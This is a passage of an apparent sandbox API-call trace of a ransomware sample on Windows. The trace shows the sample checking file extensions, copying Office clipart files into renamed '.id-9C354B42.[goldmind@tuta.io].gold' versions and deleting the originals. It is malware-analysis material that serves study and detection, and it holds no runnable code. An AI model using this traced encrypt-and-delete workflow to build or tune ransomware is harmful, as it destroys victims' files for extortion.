(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.990] lstrlenW (lpString=".1cd") returned 4 [0047.990] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.990] lstrlenW (lpString=".jpg") returned 4 [0047.990] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.990] lstrlenW (lpString=".doc") returned 4 [0047.990] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.990] lstrlenW (lpString=".docx") returned 5 [0047.990] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.990] lstrlenW (lpString=".pdf") returned 4 [0047.990] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.990] lstrlenW (lpString=".xls") returned 4 [0047.990] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.990] lstrlenW (lpString=".xlsx") returned 5 [0047.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.990] lstrlenW (lpString=".ppt") returned 4 [0047.990] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.990] lstrlenW (lpString=".zip") returned 4 [0047.990] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.990] lstrlenW (lpString=".rar") returned 4 [0047.990] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.990] lstrlenW (lpString=".bz2") returned 4 [0047.990] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.990] lstrlenW (lpString=".7z") returned 3 [0047.990] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.990] lstrlenW (lpString=".dbf") returned 4 [0047.990] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.990] lstrlenW (lpString=".1cd") returned 4 [0047.990] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.990] lstrlenW (lpString=".jpg") returned 4 [0047.990] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.990] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.990] lstrlenW (lpString="AG00169_.GIF") returned 12 [0047.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.991] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=5375) returned 1 [0047.991] CloseHandle (hObject=0x1e8) returned 1 [0047.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0047.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.991] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.991] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0047.991] GetLastError () returned 0x0 [0047.991] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x14ff, lpOverlapped=0x0) returned 1 [0047.993] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0047.993] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.993] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.994] SetEndOfFile (hFile=0x1b0) returned 1 [0047.994] CloseHandle (hObject=0x1b0) returned 1 [0047.994] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.994] SetEndOfFile (hFile=0x1e8) returned 1 [0047.994] CloseHandle (hObject=0x1e8) returned 1 [0047.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0047.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.995] lstrlenW (lpString=".doc") returned 4 [0047.995] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.995] lstrlenW (lpString=".docx") returned 5 [0047.995] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.995] lstrlenW (lpString=".pdf") returned 4 [0047.995] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.995] lstrlenW (lpString=".xls") returned 4 [0047.995] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.995] lstrlenW (lpString=".xlsx") returned 5 [0047.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.995] lstrlenW (lpString=".ppt") returned 4 [0047.995] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.995] lstrlenW (lpString=".zip") returned 4 [0047.995] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.995] lstrlenW (lpString=".rar") returned 4 [0047.995] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.995] lstrlenW (lpString=".bz2") returned 4 [0047.995] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.995] lstrlenW (lpString=".7z") returned 3 [0047.995] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.995] lstrlenW (lpString=".dbf") returned 4 [0047.995] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.995] lstrlenW (lpString=".1cd") returned 4 [0047.995] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.996] lstrlenW (lpString=".jpg") returned 4 [0047.996] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.996] lstrlenW (lpString=".doc") returned 4 [0047.996] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.996] lstrlenW (lpString=".docx") returned 5 [0047.996] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.996] lstrlenW (lpString=".pdf") returned 4 [0047.996] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.996] lstrlenW (lpString=".xls") returned 4 [0047.996] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.996] lstrlenW (lpString=".xlsx") returned 5 [0047.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.996] lstrlenW (lpString=".ppt") returned 4 [0047.996] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.996] lstrlenW (lpString=".zip") returned 4 [0047.996] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.996] lstrlenW (lpString=".rar") returned 4 [0047.996] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.996] lstrlenW (lpString=".bz2") returned 4 [0047.996] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.996] lstrlenW (lpString=".7z") returned 3 [0047.996] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.996] lstrlenW (lpString=".dbf") returned 4 [0047.996] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.996] lstrlenW (lpString=".1cd") returned 4 [0047.996] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0047.996] lstrlenW (lpString=".jpg") returned 4 [0047.996] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.996] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.996] lstrlenW (lpString="AG00170_.GIF") returned 12 [0047.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.996] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=9248) returned 1 [0047.997] CloseHandle (hObject=0x1e8) returned 1 [0047.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0047.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.997] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.997] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0047.997] GetLastError () returned 0x0 [0047.997] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x2420, lpOverlapped=0x0) returned 1 [0048.211] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x2430, lpOverlapped=0x0) returned 1 [0048.212] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.212] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.213] SetEndOfFile (hFile=0x1b0) returned 1 [0048.425] CloseHandle (hObject=0x1b0) returned 1 [0048.426] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.426] SetEndOfFile (hFile=0x1e8) returned 1 [0048.431] CloseHandle (hObject=0x1e8) returned 1 [0048.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0048.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.450] lstrlenW (lpString=".doc") returned 4 [0048.450] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.450] lstrlenW (lpString=".docx") returned 5 [0048.450] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.450] lstrlenW (lpString=".pdf") returned 4 [0048.450] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.456] lstrlenW (lpString=".xls") returned 4 [0048.456] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.456] lstrlenW (lpString=".xlsx") returned 5 [0048.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.456] lstrlenW (lpString=".ppt") returned 4 [0048.456] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.456] lstrlenW (lpString=".zip") returned 4 [0048.456] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.456] lstrlenW (lpString=".rar") returned 4 [0048.456] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.460] lstrlenW (lpString=".bz2") returned 4 [0048.460] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.460] lstrlenW (lpString=".7z") returned 3 [0048.460] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.460] lstrlenW (lpString=".dbf") returned 4 [0048.460] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.460] lstrlenW (lpString=".1cd") returned 4 [0048.460] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.460] lstrlenW (lpString=".jpg") returned 4 [0048.460] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.460] lstrlenW (lpString=".doc") returned 4 [0048.460] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.461] lstrlenW (lpString=".docx") returned 5 [0048.461] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.461] lstrlenW (lpString=".pdf") returned 4 [0048.461] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.461] lstrlenW (lpString=".xls") returned 4 [0048.461] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.461] lstrlenW (lpString=".xlsx") returned 5 [0048.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.461] lstrlenW (lpString=".ppt") returned 4 [0048.461] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.461] lstrlenW (lpString=".zip") returned 4 [0048.461] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.461] lstrlenW (lpString=".rar") returned 4 [0048.461] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.461] lstrlenW (lpString=".bz2") returned 4 [0048.461] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.461] lstrlenW (lpString=".7z") returned 3 [0048.461] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.461] lstrlenW (lpString=".dbf") returned 4 [0048.461] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.461] lstrlenW (lpString=".1cd") returned 4 [0048.461] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.461] lstrlenW (lpString=".jpg") returned 4 [0048.461] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.461] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.461] lstrlenW (lpString="AN00965_.WMF") returned 12 [0048.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.461] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=7072) returned 1 [0048.462] CloseHandle (hObject=0x178) returned 1 [0048.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0048.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.462] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.462] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.462] GetLastError () returned 0x0 [0048.462] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0048.463] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0048.464] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.464] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.464] SetEndOfFile (hFile=0x20c) returned 1 [0048.464] CloseHandle (hObject=0x20c) returned 1 [0048.464] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.464] SetEndOfFile (hFile=0x178) returned 1 [0048.465] CloseHandle (hObject=0x178) returned 1 [0048.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0048.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.465] lstrlenW (lpString=".doc") returned 4 [0048.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.466] lstrlenW (lpString=".docx") returned 5 [0048.466] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.466] lstrlenW (lpString=".pdf") returned 4 [0048.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.466] lstrlenW (lpString=".xls") returned 4 [0048.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.466] lstrlenW (lpString=".xlsx") returned 5 [0048.466] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.466] lstrlenW (lpString=".ppt") returned 4 [0048.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.466] lstrlenW (lpString=".zip") returned 4 [0048.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.466] lstrlenW (lpString=".rar") returned 4 [0048.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.466] lstrlenW (lpString=".bz2") returned 4 [0048.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.466] lstrlenW (lpString=".7z") returned 3 [0048.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.466] lstrlenW (lpString=".dbf") returned 4 [0048.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.466] lstrlenW (lpString=".1cd") returned 4 [0048.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.466] lstrlenW (lpString=".jpg") returned 4 [0048.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.466] lstrlenW (lpString=".doc") returned 4 [0048.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.466] lstrlenW (lpString=".docx") returned 5 [0048.466] lstrcmpiW 